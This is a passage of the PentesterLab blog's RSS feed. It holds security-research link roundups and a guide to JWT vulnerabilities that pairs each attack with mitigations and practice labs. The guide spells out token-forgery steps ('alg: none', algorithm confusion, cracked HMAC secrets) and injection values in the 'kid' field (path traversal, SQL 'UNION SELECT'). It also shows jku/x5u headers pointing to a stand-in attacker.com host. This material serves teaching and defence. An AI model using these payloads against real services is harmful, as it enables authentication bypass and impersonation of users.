  <a href="https://twitter.com/PentesterLab" target="_blank">Twitter</a>
  when you finish.
  We love seeing people smash their recon goals, and we may even send you stickers!
</p>

    <p class="mb-0">
      Recon is the cornerstone of every successful assessment. Spend a weekend
      with this badge and you will never look at a domain name the same way
      again. <br/>
      Questions or feedback? Hit us up on
      <a href="https://twitter.com/PentesterLab" target="_blank">Twitter</a>
      or
      <a href="https://www.linkedin.com/company/pentesterlab/" target="_blank">
        LinkedIn
      </a>.
    </p>

]]>
      </description>
      <pubDate>Tue, 03 Jun 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/learn-recon-for-free</link>
      <guid>https://pentesterlab.com/blog/learn-recon-for-free</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 22/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>
<div class="mb-0">
  <p>Request Tunnelling and o3-powered zero-day hunting!</p>
</div>
<div class="mb-5">

  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">🚇 </span>The Single-Packet Shovel: Digging for Desync-Powered Request Tunnelling
  </h5>
  <p>
    Check out this in-depth article on request tunnelling:&nbsp;
    <a href="https://www.assured.se/posts/the-single-packet-shovel-desync-powered-request-tunnelling" target="_blank" rel="noopener">The Single-Packet Shovel: Digging for Desync-Powered Request Tunnelling</a>.
  </p>
  
  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">🐧 </span>How I Used o3 to Find CVE-2025-37899, a Remote Zero-Day in the Linux kernel’s SMB Implementation
  </h5>
  <p>
    Curious whether AI can uncover zero-days in the Linux kernel? Read:&nbsp;
    <a href="https://sean.heelan.io/2025/05/22/how-i-used-o3-to-find-cve-2025-37899-a-remote-zeroday-vulnerability-in-the-linux-kernels-smb-implementation/" target="_blank" rel="noopener">How I Used o3 to Find CVE-2025-37899, a Remote Zero-Day Vulnerability in the Linux kernel’s SMB Implementation</a>.
  </p>
</div>


<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 01 Jun 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week22-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week22-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 21/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>

<div class="mb-0">
  <p>A PHP Rollercoaster, AI Labs and AppSec eZine this week!</p>
</div>
<div class="mb-5">


  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">🪞 </span> Don't Call That "Protected" Method: Dissecting an N-Day vBulletin RCE
  </h5>
  <p>
    Curious about the recent changes in PHP and their impact? Make sure you read this write-up:
    <a href="https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce" target="_blank">Don't Call That "Protected" Method: Dissecting an N-Day vBulletin RCE</a>.
  </p>

  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">🛝 </span> AI Red Teaming Playground Labs
  </h5>
  <p>
    Want some labs to train on AI Red Teaming. Microsoft got you cover:
    <a href="https://github.com/microsoft/AI-Red-Teaming-Playground-Labs" target="_blank">AI Red Teaming Playground Labs</a>.
  </p>

  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">📚 </span>AppSec eZine 588
  </h5>
  <p>
    Another issue of AppSec eZine, make sure to check it out:
    <a href="https://pathonproject.com/zb/?cb31cee2b5695430#/FJLbdI8WID88NyGP7lF6rY6h7eqXSSv6KBnGSYYZ2I=" target="_blank">AppSec eZine 588</a>.
  </p>

<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 25 May 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week21-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week21-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 20/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>
<div class="mb-0">
  <p>Passkeys, parser differentials, and another week full of fun content!</p>
</div>

<div class="mb-5">
  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">🔑 </span>The cryptography behind passkeys
  </h5>
  <p>
    Trail of Bits walks us through how passkeys work and what their limitations are:
    <a href="https://blog.trailofbits.com/2025/05/14/the-cryptography-behind-passkeys/" target="_blank">The cryptography behind passkeys</a>.
  </p>

  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">🧠 </span>Parser Differentials
  </h5>
  <p>
    A keynote from Joern Schneeweisz on parser differentials, featuring plenty of fun bugs and clever exploits.
    If you still think all parsers behave the same, check these slides:
    <a href="https://0day.click/parser-diff-talk-oc25/" target="_blank">Parser Differentials</a>.
  </p>

  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">🏖️ </span>How I ruined my vacation by reverse-engineering WSC
  </h5>
  <p>
    The journey of reversing Windows Security Center to disable Windows Defender:
    <a href="https://blog.es3n1n.eu/posts/how-i-ruined-my-vacation/" target="_blank">How I ruined my vacation by reverse-engineering WSC</a>.
  </p>

  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">🪲 </span>Can You Really Trust That Permission Pop-Up on macOS? (CVE-2025-31250)
  </h5>
  <p>
    A bit of fun with the macOS permission pop-up:
    <a href="https://wts.dev/posts/tcc-who/" target="_blank">Can You Really Trust That Permission Pop-Up on macOS? (CVE-2025-31250)</a>.
  </p>
</div>


<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 18 May 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week20-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week20-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 19/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>

<div class="mb-0">
  <p>Some great content for Python hackers and fuzzing enthusiasts this week!</p>
</div>
<div class="mb-5">


  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">🎢 </span>Let’s Be Authentik: You Can’t Always Leak ORMs
  </h5>
  <p>
    A detailed write-up that walks through the thought process, the false starts, and finally the discovery of a serious vulnerability:
    <a href="https://www.cyberark.com/resources/threat-research-blog/lets-be-authentik-you-cant-always-leak-orms" target="_blank">Let’s Be Authentik: You Can’t Always Leak ORMs</a>.
  </p>

  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">🧠 </span>Latest ThinkstScape
  </h5>
  <p>
    The latest ThinkstScape is out — conference research distilled down to just the signal:
    <a href="https://thinkst.com/ts/" target="_blank">ThinkstScape 2025.Q1</a>.
  </p>

  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">🔈 </span>Breaking the Sound Barrier Part I: Fuzzing CoreAudio with Mach Messages
  </h5>
  <p>
    An excellent article on fuzzing IPC on macOS:
    <a href="https://googleprojectzero.blogspot.com/2025/05/breaking-sound-barrier-part-i-fuzzing.html" target="_blank">Breaking the Sound Barrier Part I: Fuzzing CoreAudio with Mach Messages</a>.
  </p>

<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 11 May 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week19-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week19-2025</guid>
    </item>
    <item>
      <title>The Ultimate Guide to JWT Vulnerabilities and Attacks (with Exploitation Examples)</title>
      <description>
        <![CDATA[
<p>JSON Web Tokens (JWTs) are widely used for authentication, authorization, and secure information exchange in modern web applications. They're often used in OAuth2 flows, stateless session handling, API access, and SSO implementations.</p>

<p>A JWT consists of three parts, separated by dots:</p>

<pre><code>HEADER.PAYLOAD.SIGNATURE</code></pre>

<ul>
  <li><strong>HEADER</strong>: Defines the type of token and the signing algorithm (e.g. <code>HS256</code>).</li>
  <li><strong>PAYLOAD</strong>: Contains claims about the user, session, or other data (e.g. <code>{"user": "user1", "admin": false}</code>).</li>
  <li><strong>SIGNATURE</strong>: A cryptographic signature that ensures the token hasn't been tampered with.</li>
</ul>

<p>Each part is Base64URL-encoded (without padding) and concatenated with a dot:</p>

<pre><code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiJ1c2VyMSIsImFkbWluIjpmYWxzZX0.
X5cBA0klC0df_vxTqM-M1WOUbE8Qzj0Kh3w_N6Y7LkI</code></pre>

<h2>🧪 JSON Web Algorithms (JWA)</h2>
<p>The JWT specification supports multiple algorithms, defined in the JWA (JSON Web Algorithms) specification:</p>

<ul>
  <li><strong>Symmetric algorithms</strong> (HMAC based using a shared secret): <code>HS256</code>, <code>HS384</code>, <code>HS512</code></li>
  <li><strong>Asymmetric algorithms</strong> (public/private key): <code>RS256</code> (RSA based), <code>ES256</code> (Elliptic Curve based), <code>PS256</code> (RSA based with MGF1 padding), etc.</li>
  <li><strong>None</strong>: A non-algorithm that implies no signature (insecure and should never be used)</li>
</ul>

<p>When a token is issued, it’s signed by the issuer using the specified algorithm. The recipient must verify the signature before trusting the payload.</p>

<p>The code to sign a token signs the concatenation of <code>header + "." + payload</code> based on the <code>ALGORITHM</code> picked by the developer:</p>
<pre><code>signature = ALGORITHM.Sign(header + "." + payload, key)</code></pre>

<p>In the same way the verification is done on <code>header + "." + payload</code>:</p>
<pre><code>ALGORITHM.Verify(signature, header + "." + payload, key)</code></pre>

<p>For the verification, there are multiple strategies developers can use to pick the <code>ALGORITHM</code>, they can hardcode it (safer) or use the value coming from the JWT header (attacker-controlled, not as safe).</p>


<h2>🔄 One Website, Many JWT Implementations</h2>
<p>In modern architectures, a single web application can be composed of dozens of microservices. Even if they share a hostname, each service may:</p>

<ul>
  <li>Use a different JWT library</li>
  <li>Use a different signing key or verification logic</li>
  <li>Parse and validate tokens differently</li>
</ul>

<p><strong>This means every endpoint must be tested individually.</strong> Don’t assume that if the login or main API endpoint handles JWT securely, all others do too. A misconfigured service or third-party microservice might still be vulnerable.</p>

<p>Throughout this guide, we’ll cover the most common — and most dangerous — JWT implementation flaws, how they are exploited, and how to detect or defend against them. Each section links to <strong>PentesterLab</strong> exercises so you can practice the attacks in a hands-on environment.</p>

<hr>

<h2>🔓 1. Signature Not Verified</h2>

<p>One of the most common and dangerous implementation mistakes when using JWTs is <strong>failing to verify the signature</strong>. JWTs are not encrypted — their purpose is to provide integrity. This means the contents of the token can be viewed by anyone, but <em>should not</em> be trusted unless the signature has been verified.</p>

<p>Unfortunately, some applications skip this critical step. This often happens because developers use a library’s <code>decode()</code> method instead of <code>verify()</code>, or they temporarily disable signature verification during testing and forget to re-enable it.</p>

<h3>Exploitation</h3>
<p>If a JWT is not verified before use, an attacker can forge arbitrary claims. The steps are trivial:</p>

<ol>
  <li>Obtain a valid token (e.g., by registering or logging in as a normal user).</li>
  <li>Base64URL-decode the token to view the header and payload.</li>
  <li>Modify the payload, for example changing:
    <pre><code>{"user": "bob", "role": "user"}</code></pre>
    to:
    <pre><code>{"user": "admin", "role": "admin"}</code></pre>
  </li>
  <li>Base64URL-encode the modified header and payload.</li>
  <li>Reassemble the token. You can:
    <ul>
      <li>Keep the original signature (most likely to work), or</li>
      <li>Remove it completely and just send <code>header.payload.</code> (less likely to work)</li>
    </ul>
  </li>
  <li>Send the token in a request (e.g., as a cookie or <code>Authorization</code> header).</li>
</ol>

<p>If the server does not verify the signature, it will treat the forged claims as valid — and you’ll be authenticated as <code>admin</code>.</p>


<p>Even experienced developers can make this mistake when trying to quickly inspect a token’s contents or during local testing.</p>


<h3>Impact</h3>

This issue can lead to:
<ul>
  <li>Authentication bypass</li>
  <li>Authorization bypass</li>
</ul>


<p>This issue effectively renders JWT-based authentication useless if not properly handled.</p>

<h3>Mitigations</h3>
<ul>
  <li>Always use a library’s <strong>verify()</strong> method before accessing claims.</li>
  <li>Never trust the payload until the signature is successfully validated.</li>
  <li>Add integration tests that verify signature enforcement across all endpoints.</li>
  <li>Use code reviews and static analysis to detect misuse of <code>decode()</code> or insecure JWT flows.</li>
</ul>

<h3>Practice It 🧪</h3>
<p>You can try this exact attack in a hands-on lab:</p>
<p><strong>👉 <a href="/exercises/jwt-vii" target="_blank">PentesterLab: JWT Without Signature Verification</a></strong></p>

<hr>

<h2>❌ 2. None Algorithm Attack</h2>

<p>The JWT specification allows tokens to specify the signing algorithm in their header using the <code>"alg"</code> field. Early versions of many JWT libraries accepted <code>None</code> or <code>none</code> as a valid option, meaning the token was considered valid <strong>without a signature at all</strong>. This was mostly due to developers of the library following the JWT specification and implementing all the required algorithms.</p>

<p>This was originally intended for debugging or unsecured flows, but in practice, it opened a serious security hole when libraries did not explicitly disable or reject the <code>none</code> algorithm.</p>

<h3>Exploitation</h3>
<p>To exploit a JWT implementation that allows <code>"none"</code>:</p>

<ol>
  <li>Obtain a valid token (e.g., login as a normal user).</li>
  <li>Base64URL-decode the JWT and modify the header:
    <pre><code>{"alg": "HS256", "typ": "JWT"}</code></pre>
    becomes:
    <pre><code>{"alg": "none", "typ": "JWT"}</code></pre> 
    or
    <pre><code>{"alg": "None", "typ": "JWT"}</code></pre> 

  </li>
  <li>Modify the payload to escalate privileges:
    <pre><code>{"user": "admin"}</code></pre>
  </li>
  <li>Base64URL-encode the new header and payload.</li>
  <li>Assemble the token with an <strong>empty signature part</strong>:
    <pre><code>base64url(header) + "." + base64url(payload) + "."</code></pre>
  </li>
  <li>Send the token to the application.</li>
</ol>

<p>If the backend does not reject tokens with <code>"alg": "none"</code>, it will accept this token as valid — and you’re now <code>admin</code> without any cryptographic proof.</p>

<h3>Impact</h3>

This issue can lead to:
<ul>
  <li>Authentication bypass</li>
  <li>Authorization bypass</li>
</ul>

<p>This issue effectively renders JWT-based authentication useless if not properly handled.</p>

<h3>Mitigations</h3>
<ul>
  <li><strong>Explicitly disable the "none" algorithm</strong> in your JWT library configuration.</li>
  <li>Do not rely on defaults, enforce algorithm allowlists like <code>RS256</code> or <code>HS256</code>.</li>
  <li>Reject tokens that contain <code>"alg": "none"</code> at the parser level.</li>
  <li>Consider validating the algorithm independently from the token itself.</li>
</ul>

<h3>Practice It 🧪</h3>
<p>Try this vulnerability in a hands-on lab:</p>
<p><strong>👉 <a href="https://pentesterlab.com/exercises/jwt" target="_blank">PentesterLab: JWT None Algorithm</a></strong></p>


<h2>🧂 3. Trivial Secret (Weak HMAC Keys)</h2>

<p>When using HMAC-based algorithms like <code>HS256</code>, the integrity of the JWT depends entirely on the secrecy and strength of the shared secret key. If the key is weak, guessable, or hardcoded, an attacker can brute-force it using a known JWT and use it to forge arbitrary tokens.</p>

<p>This vulnerability can be common in poorly secured APIs and test environments, and it often affects production systems due to careless key management.</p>

<h3>Exploitation</h3>
<p>The attacker needs just one valid token. With that, they can run an offline brute-force attack to recover the secret. Here's how:</p>

<ol>
  <li>Capture a valid JWT from the application.</li>
  <li>Split it into the three parts: <code>header.payload.signature</code>.</li>
  <li>Use a tool like <a href="https://hashcat.net/hashcat/">Hashcat</a>, or a custom script to brute-force the shared secret by computing:
    <pre><code>HMAC(secret, base64url(header) + "." + base64url(payload)) == signature</code></pre>
  </li>
  <li>Once the secret is found, modify the payload (e.g., escalate role or spoof another user).</li>
  <li>Re-sign the token using the cracked secret and send it to the application.</li>
</ol>


<p>This entire attack can be performed offline, without generating noise or alerts on the target system.</p>

<p>Common weak secrets include:</p>
<ul>
  <li><code>"secret"</code></li>
  <li><code>"123456"</code></li>
  <li>Service or project names (e.g., <code>"my-api"</code>)</li>
  <li>Hardcoded defaults in open-source projects</li>
</ul>

<p>You can use a list of known JWT secrets like <a href="https://github.com/wallarm/jwt-secrets">wallarm/jwt-secrets</a> to increase your chance of recovering the secret.</p>

<h3>Mitigation</h3>
<ul>
  <li>Use cryptographically strong secrets for HMAC algorithms (e.g., 32+ random bytes).</li>
  <li>Never hardcode secrets in source code or config files.</li>
  <li>Rotate secrets periodically and use environment-specific secrets.</li>
  <li>Support for multiple secrets to enable rotation.</li>
  <li>Log and monitor token validation errors.</li>
</ul>

<h3>Practice It 🧪</h3>
<p>Try this attack in a hands-on environment with a weak secret you can crack yourself:</p>
<p><strong>👉 <a href="https://pentesterlab.com/exercises/jwt-v" target="_blank">PentesterLab: JWT Trivial Secret</a></strong></p>

<hr>

<h2>🔀 4. Algorithm Confusion (RSA to HMAC)</h2>

<p>One of the most subtle, yet devastating, JWT vulnerabilities arises from <strong>algorithm confusion</strong>. This attack exploits the fact that the JWT header includes a user-controlled <code>"alg"</code> parameter. If the server doesn’t enforce which algorithm is expected, an attacker can manipulate the header to cause the backend to verify the token using the wrong algorithm — often with catastrophic consequences.</p>

<p>The most common variant: swapping an <code>RS256</code> (RSA) token to <code>HS256</code> (HMAC), and then using the RSA public key (meant only for verification) as the HMAC <strong>secret</strong>.</p>

<h3>Exploitation</h3>

<p>This attack works because of how asymmetric (RSA) and symmetric (HMAC) algorithms function:</p>

<ul>
  <li><strong>RSA (RS256)</strong>: The server signs with its private key and verifies with its public key.</li>
  <li><strong>HMAC (HS256)</strong>: The same secret is used for both signing and verification.</li>
</ul>

<p>If the server trusts the <code>"alg"</code> field from the token header and uses the public key as the HMAC secret, an attacker can:</p>

<ol>
  <li>Obtain a valid JWT signed with RSA.</li>
  <li>Base64URL-decode the token and change the header from:
    <pre><code>{"alg": "RS256", "typ": "JWT"}</code></pre>
    to:
    <pre><code>{"alg": "HS256", "typ": "JWT"}</code></pre>
  </li>
  <li>Modify the payload (e.g., change user role or identity).</li>
  <li>Sign the new <code>header.payload</code> using <strong>HMAC with the server’s RSA public key</strong>.</li>
  <li>Send the forged token.</li>
</ol>

<p>If the server blindly uses <code>HS256</code> and its public key as the HMAC secret, the forged token will validate — and the attacker can fully impersonate any user.</p>

<h3>How to Get the Public Key</h3>

<p>There are many ways to get access to the public key:</p>
<ul>
  <li>Sometimes embedded in frontend JavaScript</li>
  <li>Hardcoded in mobile apps</li>
  <li>Published in documentation or well-known JWK endpoints</li>
  <li>Recovered from ECDSA signatures or multiple RSA signatures using tools such as <a href="https://github.com/silentsignal/rsa_sign2n">rsa_sign2n</a></li>
</ul>

<h3>Impact</h3>

This issue can lead to:
<ul>
  <li>Authentication bypass</li>
  <li>Authorization bypass</li>
</ul>


<h3>Mitigation</h3>
<ul>
  <li><strong>Never trust the "alg" field from the JWT itself</strong>.</li>
  <li>Enforce the expected algorithm at the configuration level (e.g., <code>alg = RS256</code> only).</li>
  <li>Separate token parsing from verification logic — and never auto-select algorithms.</li>
  <li>Use libraries that do not allow dynamic algorithm switching or require explicit key types.</li>
</ul>

<h3>Practice It 🧪</h3>
<p>Try this exact attack by forging a token using the public key as the HMAC secret:</p>
<p><strong>👉 <a href="/exercises/jwt-algorithm-confusion" target="_blank">PentesterLab: JWT Algorithm Confusion</a> and <a href="/exercises/jwt-algorithm-confusion-rsa-key-recovery" target="_blank">PentesterLab: JWT Algorithm Confusion with RSA Public Key Recovery</a></strong></p>


<h2>🔀 4b. Algorithm Confusion (ECDSA to HMAC)</h2>

<p>This variation of the algorithm confusion attack targets applications using <strong>ECDSA (Elliptic Curve Digital Signature Algorithm)</strong>, for example <code>ES256</code>. Just like the RSA-to-HMAC confusion, the core issue is that the application trusts the <code>"alg"</code> field from the JWT header, and uses it to select the verification method and key type dynamically.</p>

<p>By changing the <code>"alg"</code> field from <code>ES256</code> (ECDSA) to <code>HS256</code> (HMAC), an attacker can trick the server into verifying the token using an HMAC signature — and use the ECDSA public key as the HMAC secret.</p>

<h3>Exploitation</h3>

<p>Here’s how the attack works:</p>

<ol>
  <li>Obtain a valid JWT signed using <code>ES256</code> (ECDSA).</li>
  <li>Modify the token:
    <ul>
      <li>Change <code>"alg": "ES256"</code> to <code>"alg": "HS256"</code> in the header.</li>
      <li>Modify the payload (e.g., set <code>"user": "admin"</code>).</li>
      <li>Base64URL-encode the new header and payload.</li>
    </ul>
  </li>
  <li>Sign the <code>header.payload</code> using HMAC and the public ECDSA key as the secret.</li>
  <li>Send the forged token to the server.</li>
</ol>

<p>If the backend is vulnerable and uses the public key as a secret without validating the key type or the original algorithm, the forged HMAC will validate — and the attacker gains access with elevated privileges.</p>

<h3> Why This Works</h3>
<p>ECDSA is asymmetric: it uses a private key to sign and a public key to verify.</p>
<p>HMAC is symmetric: it uses the same secret key to sign and verify.</p>
<p>If a system allows switching from ECDSA to HMAC, and treats the public key as a secret (because it’s all it has access to), it creates an unsafe equivalence between asymmetric and symmetric cryptography — and the attacker takes full advantage of this confusion.</p>

<h3>Recovering the Public Key</h3>
<p>As with RSA, you can find the key in documentation, SDK or in mobile apps. Alternatively, you can programmatically recover two potential public keys from a signature. You can find more details and code to recover the ECDSA public keys in our blog: <a href="/blog/exploring-algorithm-confusion-attacks-on-jwt-exploiting-ecdsa" target="_blank">Algorithm Confusion Attacks against JWT using ECDSA</a>.</p>

<h3>Impact</h3>

This issue can lead to:
<ul>
  <li>Authentication bypass</li>
  <li>Authorization bypass</li>
</ul>

<h3>Mitigation</h3>
<ul>
  <li><strong>Never trust the "alg" field in the JWT header</strong>.</li>
  <li>Enforce algorithms server-side (e.g., <code>alg = ES256</code> only).</li>
  <li>Do not allow clients to specify algorithms dynamically.</li>
  <li>Use libraries that reject unknown or unsupported algorithm types.</li>
</ul>

<h3>Practice It 🧪</h3>
<p>Try this attack in a lab that walks you through recovering the ECDSA public key and forging a JWT using HMAC:</p>
<p><strong>👉 <a href="/exercises/jwt-algorithm-confusion-ecdsa-key-recovery" target="_blank">PentesterLab: JWT Algorithm Confusion with ECDSA Public Key Recovery</a></strong></p>


<h2>🪤 5. <code>kid</code> Injection (Key ID Manipulation)</h2>

<p>The JWT header supports a field called <code>"kid"</code> — short for <strong>Key ID</strong>. This field allows the token to indicate which key should be used to verify the signature. It is especially useful in systems with key rotation or multiple signing keys.</p>

<p>However, when applications dynamically fetch keys based on this field — especially from filesystems or databases — the <code>kid</code> value becomes a dangerous injection point. If the application uses it insecurely (e.g., directly concatenating it into a file path or SQL query), attackers can manipulate it to point to keys they control or leak internal secrets.</p>

<h3>Exploitation: Path Traversal</h3>
<p>In file-based key lookups, the application might do something like:</p>

<pre><code>key_path = "/keys/" + kid
public_key = readFile(key_path)</code></pre>

<p>An attacker can supply a JWT with:</p>

<pre><code>"kid": "../../../../dev/null"</code></pre>

<p>This results in:</p>

<pre><code>/keys/../../../../dev/null → /dev/null</code></pre>

<p>Since reading from <code>/dev/null</code> will return an empty string, an attacker can forge a token and sign it with an empty string. </p>

<h3>Exploitation: SQL Injection</h3>
<p>If the application loads keys from a database using an unsafe query:</p>

<pre><code>SELECT key FROM keys WHERE kid = '<input>'</code></pre>

<p>The attacker can supply:</p>

<pre><code>"kid": "zzzz' UNION SELECT '123' --"</code></pre>

<p>This causes the application to fetch and use an attacker-supplied value (<code>123</code>), which will successfully verify forged JWTs signed with the matching private key.</p>

<h3>Impact</h3>

This issue can lead to:
<ul>
  <li>Authentication bypass</li>
  <li>Authorization bypass</li>
  <li>Remote command execution</li>
  <li>SQL Injection</li>
</ul>

<h3>Mitigation</h3>
<ul>
  <li>Validate <code>kid</code> strictly — never allow user-controlled paths or queries.</li>
  <li>Use allowlists of valid <code>kid</code> values with fixed file or key mappings.</li>
  <li>Sanitize and canonicalize paths before use.</li>
  <li>Use parameterized queries if accessing a database.</li>
  <li>Log and monitor invalid or unexpected <code>kid</code> values.</li>
</ul>

<h3>Practice It 🧪</h3>
<p>Practice injecting a malicious <code>kid</code> to control key selection and forge tokens:</p>
<p><strong>👉 <a href="https://pentesterlab.com/exercises/jwt-iii" target="_blank">PentesterLab: JWT kid Injection and Directory Traversal</a></strong></p>
<p><strong>👉 <a href="https://pentesterlab.com/exercises/jwt-iv" target="_blank">PentesterLab: JWT kid Injection and RCE</a></strong></p>
<p><strong>👉 <a href="https://pentesterlab.com/exercises/jwt-vi" target="_blank">PentesterLab: JWT kid Injection and SQL Injection</a></strong></p>


<h2>🧬 6. Embedded JWK (CVE-2018-0114)</h2>

<p>JWTs can optionally include a <strong>JWK</strong> (JSON Web Key) directly inside the token header using the <code>jwk</code> parameter. This is intended to allow token issuers to specify the public key that should be used to verify the token — particularly useful in distributed systems or rotating key setups.</p>

<p>However, if the server accepts any public key supplied in the token without proper validation (such as checking the issuer, key origin, or intended usage), an attacker can embed <em>their own public key</em> into the header and generate tokens that validate against it.</p>

<p>This vulnerability was publicly disclosed as <strong>CVE-2018-0114</strong> and affected the popular <code>PyJWT</code> library. It allowed attackers to bypass authentication by embedding their key and signing tokens with the matching private key.</p>

<h3>Exploitation</h3>
<p>To exploit this vulnerability, the attacker:</p>

<ol>
  <li>Generates their own RSA key pair.</li>
  <li>Creates a JWT with a forged payload (e.g., <code>"user": "admin"</code>).</li>
  <li>Includes their public key in the header under the <code>jwk</code> field:
    <pre><code>
"jwk": {
  "kty": "RSA",
  "e": "AQAB",
  "n": "..."
}
    </code></pre>
  </li>
  <li>Signs the token using their private key.</li>
  <li>Sends the token to the vulnerable service.</li>
</ol>

<p>If the application naively uses the JWK from the token header, the attacker’s key is used to verify the token — making the forged token appear legitimate.</p>

<h3>Impact</h3>

This issue can lead to:
<ul>
  <li>Authentication bypass</li>
  <li>Authorization bypass</li>
</ul>


<h3>Mitigation</h3>
<ul>
  <li><strong>Never accept keys from the token itself</strong>.</li>
  <li>If using a JWK from the header, validate:
    <ul>
      <li>Its issuer</li>
      <li>Its source (is it known/trusted?)</li>
      <li>Its purpose (e.g., ensure <code>"use": "sig"</code> and not <code>"enc"</code>)</li>
    </ul>
  </li>
  <li>Disable <code>jwk</code> header parsing unless explicitly needed.</li>
  <li>Upgrade any libraries affected by CVE-2018-0114.</li>
</ul>

<h3>Practice It 🧪</h3>
<p>Try forging a JWT using your own key and bypass verification using the embedded <code>jwk</code>:</p>
<p><strong>👉 <a href="https://pentesterlab.com/exercises/cve-2018-0114" target="_blank">PentesterLab: CVE-2018-0114</a></strong></p>


<h2>🌐 7. JKU / X5U Header Abuse</h2>

<p>JWT supports additional headers like <code>jku</code> (JWK Set URL) and <code>x5u</code> (X.509 certificate URL) that point to external URLs where public keys can be retrieved. These fields are designed to help recipients dynamically fetch verification keys, especially in distributed or federated systems.</p>

<p>However, if the application does not strictly control the source of these URLs, it opens the door for Server-Side Request Forgery and using an attacker-controlled key. An attacker can host their own key set or certificate and sign tokens with their private key, then instruct the server (via <code>jku</code> or <code>x5u</code>) to download and trust that key.</p>

<h3>Exploitation</h3>
<p>To exploit this behavior, an attacker will:</p>

<ol>
  <li>Generate their own RSA key pair.</li>
  <li>Host the public key on a server they control, either:
    <ul>
      <li>As a JWK set (for <code>jku</code>)</li>
      <li>As an X.509 certificate (for <code>x5u</code>)</li>
    </ul>
  </li>
  <li>Create a JWT with:
    <ul>
      <li><code>"alg": "RS256"</code></li>
      <li><code>"jku": "https://attacker.com/jwks.json"</code> or <code>"x5u": "https://attacker.com/cert.pem"</code></li>
    </ul>
  </li>
  <li>Sign the token using their private key.</li>
  <li>Send the forged token to the target application.</li>
</ol>

<p>If the server accepts the remote key without validation, it will trust the token — because it successfully verifies with the attacker’s hosted key.</p>

<p><strong>This attack can also be exploited by leveraging a file upload, header injection or open redirect</strong></p>

<h3>Impact</h3>

This issue can lead to:
<ul>
  <li>Authentication bypass</li>
  <li>Authorization bypass</li>
  <li>Server-Side Request Forgery</li>
</ul>

<h3>Mitigation</h3>
<ul>
  <li>Do not trust keys from arbitrary <code>jku</code> or <code>x5u</code> URLs.</li>
  <li>Implement an explicit allowlist of trusted domains for JWK and cert loading.</li>
  <li>Validate that the key downloaded from the remote URL matches expected <code>kid</code> values.</li>
  <li>Log and alert on unexpected external JWK or cert URLs.</li>
  <li>Prefer local key storage unless dynamic remote keys are absolutely necessary.</li>
</ul>

<h3>Practice It 🧪 </h3>
<p>Practice forging a token that the server will trust based on the <code>jku</code> or <code>x5u</code> field:</p>
<p><strong>👉 <a href="https://pentesterlab.com/exercises/jwt-viii" target="_blank">PentesterLab: JWT JKU attacks</a></strong></p>
<p><strong>👉 <a href="https://pentesterlab.com/exercises/jwt-ix" target="_blank">PentesterLab: JWT JKU and File Upload</a></strong></p>
<p><strong>👉 <a href="https://pentesterlab.com/exercises/jwt-x" target="_blank">PentesterLab: JWT JKU and Open Redirect</a></strong></p>
